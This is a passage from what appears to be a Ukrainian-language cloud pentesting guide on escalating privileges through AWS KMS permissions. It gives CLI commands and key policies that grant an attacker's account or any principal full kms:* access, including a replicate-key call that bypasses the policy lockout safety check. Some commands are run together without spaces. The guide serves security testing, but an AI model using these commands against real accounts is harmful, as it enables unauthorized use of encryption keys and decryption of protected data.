З цими дозволами можна змінювати права доступу до ключа, щоб його можна було використовувати іншими обліковими записами або навіть будь-ким:
awskmslist-keysawskmslist-key-policies--key-id<id># Although only 1 max per keyawskmsget-key-policy--key-id<id>--policy-name<policy_name># AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
awskmsput-key-policy--key-id<id>--policy-name<policy_name>--policyfile:///tmp/policy.json
policy.json:
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<origin_account>:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow all use","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<attackers_account>:root"},"Action": [ "kms:*" ],"Resource":"*"}]}
Зверніть увагу, що може знадобитися кілька хвилин для того, щоб KMS дозволив користувачеві використовувати ключ після створення дозволу. Після цього часу принципал може використовувати ключ KMS без необхідності вказувати що-небудь.
Однак, якщо потрібно використовувати дозвіл негайно, використовуйте токен дозволу (перевірте наступний код).
Для додаткової інформації прочитайте це.
# Use the grant token in a requestawskmsgenerate-data-key \--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \–-key-spec AES_256 \--grant-tokens $token
Зверніть увагу, що можливо перелічити надані дозволи для ключів за допомогою:
awskmslist-grants--key-id<value>
kms:CreateKey, kms:ReplicateKey
З цими дозволами можливо реплікувати ключ KMS, який підтримує кілька регіонів, в іншому регіоні з іншою політикою.
Отже, зловмисник може скористатися цим для отримання підвищення привілеїв до ключа та його використання
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal":{"AWS":"*"},"Action":"kms:*","Resource":"*"}]}
kms:Decrypt
Ця дозвіл дозволяє використовувати ключ для розшифрування певної інформації.
Для отримання додаткової інформації перегляньте: